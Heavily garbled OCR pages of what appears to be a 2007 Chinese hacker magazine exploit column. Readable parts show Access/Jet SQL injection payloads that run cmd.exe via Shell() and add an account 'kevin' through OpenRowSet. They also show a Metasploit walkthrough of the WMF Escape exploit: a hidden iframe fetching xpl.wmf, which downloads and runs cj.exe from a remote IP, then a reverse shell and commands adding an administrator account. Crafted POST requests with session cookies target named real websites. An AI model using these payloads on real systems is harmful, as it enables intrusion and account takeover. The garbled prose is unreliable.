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FIRST EXPLOIT e
y R ) wif ) wit@hackercomen =TSR BRLG) DDp

AiEE RERLEFE NBEEER
BIELNR ASP+AccessEAY

WTF: B2006F 49 H XM E, 7 #4 5] X FAcCoss X BAMAN 7K, AT —&
REGFGSE, —BREA RS S RAFMENTRER T G845 A0
Wb, A AR L EE,

NEMWASEIANBEER . EANTFEI RS,
BLBHNENATEESERUnonKEEERNE L&
BEHRRPHAS, tbMAdmin LogREF XE L
BHHIBERGT AR, IMSSALr AR T ENE A S #
MER YHNRESEEDRESNIASMMEER, K
1T I F FAMSSQL Server X R HIY BEMITH S,
HERKRA R ERXHSEBUEMR £ RIAFN
EER BRNUTULAZREH  HETRAZHE
BEZBESRARIANRENEBFRGHEREEN
Wi, BRI T Oracle\MySQL \DB2iX £ JEMS B i 3¢
BHBEE.XTEN. RNEEEHOIETE . R
TS SHXHRERXHESE.

MER—4x%EAREENREARHKREL
& THEH HhSEHMHNEEERAccessIEIEE
T .—kfEAccessHh A EBERRBIEEPHREMN
FEREMR, ZkEAccess PHNEMNEBERELD B
PR XIFBIEAASALIEE, MT-SALMIREX B AP
RSP IEARBAccess BIBEPRFMInsert,
Update Select Delete ,Produce{{X 2 xSQLIBA A 3
ME. B2 BINKBEBTESAccess #HITHR.

EXETRECH RASENIXENAR .
43 Ensfocus FixFocus £ 7E2000-2002 A, BH—
BN ESuperHei TR RM KX TFAccessg—L K", X
K UFEWww 4ngel netR £ R E/NAK ML EEGE],
OK ,EIEAEARE RINBETR.

o] AP E MR ERI#EH Windows  2000f) B & & 2
ERFNAAEFANHERRANRBAE K
cateloy_type.aspHYiT i+ N\ iEiEfMMsadscs di R ZE &S
BT 5RNANKGFARERE ANFBAERATE
#atb75 . tbanCatelog_type.aspASENIRIR ., EAIRELF
B A9 o) AR X Y

vselect * from cateloy where type='" & Requset

(uTypeu) & mn

BHEBPARE N EFEROEINTER BRE
BType YEMASQLIBAHREN , FEFHITEAAN
TBRBA.

MBRAIME RNEXLRAERBRON Z
FMS;&HPHP RAIGPCIR B BRI —F LK. ER

BNTNEERERAEROFAAAR KPS RET
—ASQL B4R}
Select * from Sometable where somefield="|Select Shell
("emd.exe /c dir")|'

XFEXNEBEONNE . ERBARFREMN,
Access AFA"|"REIBVBARE, SBEHSHMT . H
KX RBAccess FEM—MRRBEME AR MAE
HcudirfiCommand & %1, BRI IX7EAccess il
RKARMSQLBGHET

Select Shell(cmd.exe /c dir e\ > e:\kevin.txt")

EECH, RMNBAFE Tkevin txt  HRFEANST
BT . REBRMNEREINHEPARXE. RSMTH
VBS K,

Set Conn=Createobject(" Adodb.Connection")

Conn.Open "Provider=Microsoft.Jet. OLEDB.4.0;Data

Source=kevins4t.mdb"

Set Rs=Conn.execute("Select Shell(""cmd.exe /c dir c:\

> C:\kemmnu)u)

Msgbox Rs(0)
—REMMNERREFROBR BRNEEZ
%J&:‘&FPB’] She”'t%iﬁiﬁmx JANET 2FR,

BASRE T A For Huanhuan - By [ kEvin1965 ] @ Dreaming

ionR.
bQL="Select Shel(“*cmd.exe fc dr c:\ > c:\kevin.txt™)"
ZFRARMERTHSQUEE)
fonnstr= Uvdar-MbmoR Jet,OLEDB.4.0;Data Source=kEvinS4T.mdb”
et A ST BIEE
Conn.Open Connstr
FTF B
bet Rs=Conn.execute(SQL)
(MRISQLIEH)

TR
Msgbox Rs(0)
5 B S FEB— R HRAER |

U mEmE 00T zoo7‘°‘ﬁ.ﬁ‘m"—-_mt 23]
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RERMNBELRH T RBAMEE, RE2E HH
ARBENEGEARNRTENSHAMLBEATE
IR AE? —MEEFEHT MBI UE2HKFE
BB AERE—EERPNTAMARET - F
XK ATRELEN MSEJet5|EHSp8h BET —
N & ASandBoxMode fyFF 3% XM A X EFF B — L4
HRBEFIIAGTERRATIRN. EMNEMRA
BAHKEY_LOCAL_MACHINE\ SoftWare\
Microsoft\Jet\4.0\Engine\SandBoxMode & , BRI\ &
2 WRRTFENBENNED: OWERFREEFR
HEIEHAL2RE | ANEATNERZR. 21
EXABAccess R T (XBEDHARMNEE
Access FHTHIINERE) 3MNEELHE . &
Accessth R #F,

MAFIE BINREBFMREEZTHOFSEH.

HEE N B BRRRESEIL 2 ARl
0 i=fFVBSH i
B &, B
WOR R — A% SRS
FHA, BEC [Ei:as
#TEEFEX
% RREH |2
TRMikevin, (B =
txt @3 FF DTS 5o e

T

: N 3

R E o

Bl EkAccessth 2] MATHEMN EXRAERSE
R

L]

BIMNEZARSRE. R, —RBMNBENR
RE. EREIEICIMRANR. BRIAZAdImin
LocalSystem, ZR 2B I SUE MK, iZBB%
I AMBNAFEEEE—NRTA RERNE
BTAMENE BLAELZBAEIANBAP X2
RAENRENAR, REB T UEMRHIT &/
SHam.

FEEBMNEBBEN SR ER T RENR,
FEEH T X/ SandBoxMode 2[5, HANHEIE A H
7 B4 EERANENMFKIBFEXNSelect iY5F
AR XHRF BANLRSFRTOTHSALIBEDH
77,

InjectionURL' and 0<>(select she].l("cmd.exe‘/c net user
> c:\inetpub\wwwroot \kevins4t.txt"))%00

BAAE BNIHNERTRSAF LEMHE,
REWRTIERBE—NUSAEEMInjectionURL ch g
B MREBTY RAFLRT REEMOLLBE &
NE— LA BARBHREERE TRE %2

BMNME, RESA KRBA B THREITH S5~
Mccess R YRHR T T FAccess iR
B BRNOEETEECIMROEHRNE, By
MSSQLE —4 % Hhxp_regwritef i & . TR EZCT
MERME.BEEDT

exec maseter.dbo.xp_regwrite Root_Key,SubKey,
Value_Type,Value .

AEATREHSandBoxMode &2 H0 3 1 5k RN
T REMRMSSAL f30penRowSet F i, B AT H—
MERNBIBEREERD S - BIBEZ P, 30
R&SysAdmin fII BRI EHE , AR ST T FF Jet 51,
MARMABEZET —PAccessEIBEFR  RIFHITH
LEHIAMUT . EEXBHETE ZMFTFHIXMccess
BUREETR?

XFEXNMEBHRETRA, —FHER FIAEF
EhREHBEENUE. ERIMFERNERSR
B AN RZRRNUE RSB AMRE T EHFHN
PR EEHEIMDB BB E , XR &AM . R
ERBERH T - ARINAR . REEXRRRE2-
SAMEMNEERE AL HMEARR? EMNUEE
%windir% \system32\ias\ias.mdb@¥E
%windir9%\system32\ ias\dnary. mdb? XHE—3F FH1]
BTHROGBEE RO AFHENT AT —TRINAE
BEHHOE,

BHERMNBRTU-—S—SHERLRESRET.

Y &
EHRE-—IMRABBMNER. BEERNDAFTEX
EMRANR, —RAEIEMROEM4, =R TR
f7SandboxMode f93R1E MM = HEEIN HE 4 17, BlRR
A AR TIE?

___www.hacker.com.cn . . iud
B =zvc 2007 WesEREs TH O

InjectionURL";Select *# From OpenRowSet('Microsoft.
Jet. OLEDB 4.0',';Database=c: \winnt\system32 \ias\ias.mdb/, 'select
shell("net user kevin 1986 /ad")");——

X BMNBRAG TS 7TH! mE%KR
MSSQL KjLocalServicefySystem#X PR , mn

A Hasp.dIl— i FF R ZEc: \winnt\ system32\ inetsrv

\asp dII T (FREMNREERNNLELR—EHEE) &K
MAEME = TEGRD

cseript adsutil.vbs set /W3SVC/InProcessisapiApps "C:
\WINNT \system32\ida.dll" "C:\WINNT \system32\inetsrv\httpext.
dllv "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:
NWINNT\system32\inetsrv\ssinc.dll" "C:
\WINNT \system32\msw3prt.dll""c:\winnt \system32\inetsrv\asp.dll"

SRIG{¥EFcscript adsutil vbs get /W3SVC/
InProcessisapiApps REF R BMHET ERK, LEA
EHfgetflset L — M REER, — N BRE £FHR
REFTXE B EEIC:\Inetpub\ AdminScriptsix AN B R T,

MERE—ANEER ROREHRAAXIBRLE
ASPRTF HsystemANBR 7 , LLA HIRASE sk s B HEasp.
dI BN —K CREFBR Aset < BER LA
HBLERAE. Y/»)
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WTF: 2006 FFmpik B AT FANRRAMLERTHRBAT HHATELF—ERLARY

NG I B R, X ok 6 i R A A B M98 B Windows  Vista JL-F A% E e KM | WMF s X B KA KD

PAT R A RERA L LI R—IHER 2H,
SEIEE NBEFE. RL2WRE
AEMIR X

VIP 2 i % 2] AR S

X /B Tombook[ ®E5VIP]

Microsoft Windows 2t 5% F &R iTHIRIER S . &
i, #ZEWindows {IWMF B B 45| A L B T iImFE RS
WHATRE BB A HE T BEAWME X 5%
BTZX AN REER PR G LUAARRATERR
B EVRMEXNRRAREENERLN—NRIRIR

o
-

1 was '"navigating" on a certain website. It was a
sucession of hidden

<frames> from diferent domains, ending on:

http://69.50.183.XX/m.html

It will then call another frame, targeting to:

http://69.50.183.XX/xpl.wmf

Which is the exploit itself. This WMF will download
the file cj.exe on

the same server (http://69.50.183.XX/cj.exe) and run.
It worked with

me, and probably will work with a lot of people (hey,
I just checked

the windows update site for updates, and seems that I'm fully

patched... even though, the exploit ‘was triggered on me).

After exploitation, ¢jexe will try to install some browser helper

objects (probably a spyware or something like that)

ZHMOBERER X ERNTARE, SWEE—
Axpl.wmfscf, FRRMITETESHT TRl exeX
#HoRYNITERFONT RIEFT HIREAMN
sOBEFTEX

<Iframe src="http://69.50.183.XX/xpl.wmf" width="0"
height="0" scrolling="no" frameborder="0"></iframe>

EMNREREE AR T  HERRIRRE CEER
F.REELS T NeiexeRBAD FIEN Khttp:/ /127 0.
0.1/mhtml £REMITHAE A EFR WE T . RF
XHl.

S xpl[1]. waf - Tindowrs B AEAEES
A1

BETHHFTHARKEAWEB RS 38 LAEXE 1N
2 fiom.

hello ToMBoOK

|2

TERMNKFABXNRR. ETHmetaspolit,
Windows iR f9 T #itth it Zhttp: / /metasploit.com/tools/
framework—2 5 exe UNIX iR f9 T~ & #bdit Ehttp: / /metasploit.
com/tools/framework—2 5 tar gz,

FRAAERENR—T RETEERFRXETER
MSFUpdate , /5 HIE YES OR NO, {RESAYESHFT.
MBHREEENFSR RIEREBHH M
ie_xp_pfv_metafile pm# %l Fc: \Program Files\Metasploit
Framework \ home\ framework \exploits B % T

MAEFHBETXNRE, BFERXRPETMSFWeb,
SHEM—ANELT. LES Eﬁ:http://127,0,0,1:
55555.,12’#5&*:1%5}5!#1. TR ARFTFHIE FAhttp://
127.0.0.1:55555 , £ HIM—"WebTTHEH , FEMH, #—
FEXAN . MBERAE BRBRAARIEF LR
ie_xp_pfv_metafile.pm aNE3 7=,
t&o)limp//mncxsssssl

*x veritas Backup Exec Windows Remote File Access
B WS-FTP Server 5.03 MKD Overflov

L o=
i =

- WebSTAR FTP Server USER Overflow

War-FTPD 1.65 PASS Overflow

War-FTPD 1.65 USER Overflow

| " Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution
[ % wordpress cache_ e Arbitrary Code

-

B #  ZENworks 6.5 Desktop/Server Management Remote Stack Overflow

B3
BMNEHEHN AEEEXNRENER HXE
JUEER.MNES .

PESelect TargetH FEM—1T. HANERITTUE

.. www.hacker.com.cn
mems 200 wewns 0 RN
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HE @ (&) neep //127.0 0.1 55555/ TaRODUL

san <san [at] xfocus.org>
0600KO78RUS[at]unknown.ru

Disclosure: Dec 27 2008
Arch: %86
0s: win32, winxp, win2003

This module exploits a vulnerability in the GDI library included with Windows XP, 2003, and

This vulnerability uses the 'Escape’ metafile function to execute arbitrary code through the
This module a random WMF record stream for each reqy

is will gzip encode the WMF payload if the browser supports it

- http://wvive.securityfocus.com/bid/16074

= http://cve .mitre.org/cgi-bin/cvename.cgizname=2005-4560

= http://www.osvdb.org/21987

- http://milworm.com/metasploit php?id=111

- http://wvware.sourceforge .net/caolan/ora-wmf.htm|

- http://www.geocad.ru/new/site/Formats/Graphics /wmf/wimf.txt

Select Target:
0 < Womatic - Windo

B4
BENNER BRIAF2 ANRMNT A, MES Fiw,

. # windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution

select Payload:
Payload Description
win32_exec Windows Execute Command e
wind2_passivex Windows PassiveX ActiveX Injection Payload
win32, ! Windows ActiveX Inject Meterpreter Payload
wind2_passivex_stg Windows Staged Passivex Shell
wina2, B  ActiveX Inject VNC Server Payload

Windows Reverse Shell -

wind2_roverstJdllinject Windows Reverse DLL Inject
win32_reverse_meterpreter windows Reverse Meterpreter DLL Inject
wind2_reverse_stg Windows Staged Reverse Shell ~
win32_revers@ stg_upexec windows Staged Reverse Upload/Execute
wina2_reverse_vncinject Windows Reverse VNC Server Infect

A5
Win32_reverseiRk [a] —{NCMD#yShel |, R F s & 3%
AR, MEE Fiow,

8 windows XP/2003/Vista Metafile Escape() SétAbortProc Code Execution (wind2_reverse)

HTTPHOST Optional HOST | 0000 The local HTTP listener host

HTTPPORT Required PORT | 8080 The local HTTP listener port

EXITFUNC Required DATA | thread Exit technique: "process’, “thread", "seh”
LHOST Required ADDR | 2229555184 Local address to receive connection
LPORT Required PORT | 4321 Local port to receive connection

Preferred Encoder:

Nop Generator:
Default Encoder ’«' Default Generator 'l

owe |E]

&6

HEAWIn32_reversest /g, &I JLA T UAS A1
7 HTTPHOST HTTPPORT ,LHOST LPORT, &% —
TH%E HTTPHOST BEARANIP MRFEMIE S
{FFHLHOSTE miyIP HTTPPORT B2 &AM A B —/NHT TP AR
EMmO BCHEAHTTPRSSH KO8 ST MK,
LHOSTHILPORT 3% B . FIAYBHR 58 56 FRBA A 3B L &
FEIBA KA EX LA O S/ AP EXANHTTP R E-8%
MR RS FRENEL MET ix.

~ Exploit Output

[*] Starting Reverse Handler.
[*] waiting for connections to http://222.95.55.194:8080/

[*] HTTP Client connected from 10.13.6.185:38055, re ting...

[*] HTTP Client connected from 10.13.6.185:38058, sending 1364 bytes of payload,
[*] HTTP Client connected from 10.13.6.185:38060, sending 1364 bytes of payload.|
[*] Got connection from 222.95.55.194:4321 <-> 10.13.6,185:38091

[*] Shell started on session 1

Bm7
FWR HITSession 1 MBENNMARENA
Session , M AR ] USRI A T 3 B R BUE /R A9 P9 38 9
¥ b FF B Emetaspolit IR SH ZEENVRE
BE{R . # Asession 1 H A— TIPCONFIG, tnE8FF7~.
MRZFEFZTVNAFANRBR, BT UEBEMNE

(EEG 2007 MEERE TH

ittp //121.0.0. 1 55555/SESSTONSTHODE-LOADSTD=|
Vindows IP Configuration
Ethernet adapter #qi@i-wd:

Connection-specitic DNS Suffix . :
IP Address. . . . . . . . . . . .3 32.1.4.99

Subnet Mask . . . . . . ... . Tass.0:0.0
Default Gateway . « .+ . . . o : 32.1.4.32
c: and Sq A\« Al
I y . AT S S |
=]
Session

B8

BR ME R SRBTREIXM. AARRT
B OREMAER.

gy

e Q

&l btp.//121.0.0.1
cs and Setg! Ak
>> met user .2

net uset

\\ TONBOOR uk6i»§0tas

Adminiscracor ASPNET Guest
Rokssr fevkic

ci and *hle>
>> net user tambook /add &6 net localgroup administrators tambook /add

net user tombook /add &6 net localgroup administrators tombook /add
Rudggr fe2kic
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Win32_execRH{Tar S HIMAE  ANRIRABIL B A7
FXEROTEFEEAT - LEHS. TUAXA . E
CMD R EEBMARBERTHG S MEIORT.EA.
QT ERZ FHLIED.

Mty /11 0.0

[ EXPLOITY | PAYLOADS [ 7 eessions ]

5 # windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution (wind2_exec)
HTTPHOST Optional HOST | 08008 The local HTTP listener host
HTTPPORT Required PORT | 8080
cMD Required DATA | netuser tombook/add  The command string to execute
EXITFUNC  Required DATA | thread Exit technique: *process®, "thread", "seh”

The local HTTP listener port

Preferred Encoder:

Fg Generator:
Dafault Encoder %] [Defaunt Generator =1
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FER/H T TR E? IERTRAH emd
WRBEE(FTP TFTP ECHO S ETHREMRS) . A
VBS EANTHRIAFTIXHHRBARAME, VBS T UETS
B, A IBERBX R R A g  —HFEEM. m

ek MySQL. 1Y) Root JH ) v
NRIRZIC T MySQL fRoot B, 7] A SR f5E A I
THAEREHRE
1KilERGEE MMy SQL#R
2) BT &2 BaMySQL , IR EIPRA 7T R 33h
mysqld_safe —skip—grant-tables &
) AEEBAREARct ARFER MySaL
mysql ~u root
4)fE%Root BT
mysql> update mysql.user set password=PASSWORD
(C#H#E’) where User='root’;
mysql> flush privileges;
mysql> quit ’J
?

5)EHBHMySQL I UERHERERT . M
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8. AFOT:

POST /User/User_Author.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, im-
age/pjpeg, application/msword, application/x-shockwave-

flash, */x

Referer: http://172.18.26.75/User/User_Author.asp?
Action=Manage&Passed=1

Accept-Language: zh—cn

Content-Type: application/x—www-form-urlencoded

Accept-Encoding: gzip, deflate

User—Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win—
dows NT 5.1; SV1)

Host: 172.18.26.75

Content—-Length: 105

Connection: Keep—Alive

Cache-Control: no—cache

COOKIE:ASPSESSIONID AQQTRTCT=HIOBOGJAHCL
HGBGKEHFKOIJJ; 172182675=LastPassword=BfVIy4k886Z
uD956& UserName=admin& AdminLoginCode=&AdminName=
admin&COOKIEDate=3& UserPassword=469e80d32c0559{8&
RndPassword=ChXJBnM9971 WF067&AdminPassword=03b937
a5b5829693; VisitNum=1

AuthorID=2&AuthorID=1&chk All=checkbox&submit1=%C%%
BE%B3%FD%D1%A 1%B6%A8%B5%C4%D7%F 7%C6%B7%B C%
AF&Action=Del
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BERMNEX—T KAREFESEAFH @A, EX
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Jie :;-c Facor Rl stzar2> SR > EERMER 110 dn €2, 1> . Crone>

ont face="Fike - futhor.

face="FlE" size2>,
s81</Font> _J

| oawr | v | S108A. | 5w | s [ @ 2= as
A2

EXRETEE EFHAuthor DERBIMBHLFE

(EEFL) 2007 WEBRE T# .



i FIRST EXPLOIT
‘44 E ﬁ ﬁ ;H ) EB448 ) wif ) wif@hacker.com.cn

WiB.HT BMNiLeBE8ITHKkE, 2%
"AuthorID—1) =t Eﬁﬁz_ﬁﬁﬂih’a kM@, ﬁﬂ.3FﬁTo

B3
RAPS R WNETUEERESART.BRER
BFF BRATESRT. BRNBRT B %M, ESQL
FinFESPHRELALERLN MRFE, MSsaL
SHOUHNARNER NRERTERDBEFRSIR
. %EEﬁAuthorlD@]Eﬁﬁ?W‘“‘%ﬁ tﬂ@ﬁﬁ-ﬂ
| RO

N HE
¥

2R R
'l:nsr /User/User_Author.asp HTTP/1.1

T BEY, WG

Accept : lnu!lglf inage/-caitnoe., inage/jpeg, image/pipes. -n.nuu-n/-s-
eferer: http://1
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< Cache-Control: ne-cache
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AcceptEncodng gap. defise |
UserAgent Mozlla/4 0 (compatble: MSIE 6 0. Windows NT 51 V1) b
Host wwaw. exam8 com

{ContentLength 107

Connector:

Cache Corrol nocache ¥
Cookis w0BO2-5 fime2. bime=1136210001500, wO8_e57732112.. ASPSESSIONIDAAT TDCRCHFFICLAIEHNDHECNHGECKLG: | |
ipospedeyes i

odemt.C se1P 3ssworde 365eb7 20922754 SAkA I assword=LRNdP asswor
[SAdmnN ame~tL sotP sssword=(85y61 150 340G kUnveadMsg= RSPSE SSIONIOAAT SDLAD LAKNDAPFBOLNEDEKIDPID
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POST /User/User_Author.asp HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, im—
age/pjpeg, application/msword, apphmnon/x—slwckwave—
flash, »/*

Referer: http://www.exam8. oom/User/ User_,Amxomsp‘r
Action=Manage&Passed=1

Accept—-Language: zh—cn

Content-Type: ‘application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User—Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win—
dows NT 5.1; SVI1)

Host: www.exam8.com

Content-Length: 107

Connection: Keep—Alive

Cache-Control: no-cache

COOKIE: w0802=6; rtime=2; Itime=1136210001500;
w08_eid=57732112—; ASPSESSIONIDAATTDCRC=IFF
JCLIAIEHNDHECNHGECKLG; popped=yes;
wwwexam8com=UserName=1likz& AdminLo
ginCode=&COOKIEDate=0& UserPassword=965eb7
2c92a549ddé& AdminPassword=&RndPassword=& AdminName=&
LastPassword=r85y61150394tQGJ&UnreadMsg=;
ASPSESSIONIDA ATSDCQD=GAKJNOIAPFBOLNCOEKKIDPID;
ASPSESSIONIDCCSTBDRD=JMHNGFJAPAGLJEPJOCINOLGO

AuthorID=21&AuthorID=20&chk All=checkbox&
submit] =%C9%BE%B3%FD%D1%A 1 %B6%A8%B5%C4%D7%
F7%C6%B7%BC%AF & Action=Del
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Microsoft OLE DB Provider for SQL Server</font>
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POST /User/User_Author.asp HTTP/1.1

Accept: image/gif, image/x—xbitmap, image/jpeg, im—
age/pipeg, application/msword, application/x-shockwave-flash,
*/%

Referer: http://www.77169.0org/ User/ User_Author.asp?
Action=Manage&Passed=1

Accept-Language: zh—cn

Content-Type: application/x—www-form-urlencoded

Accept-Encoding: gzip, deflate

User—Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win-
dows NT 5.1; SVI1)

Host: www.77169.0org

Content-Length: 107

Connection: Keep—Alive

Cache—Control: no—cache
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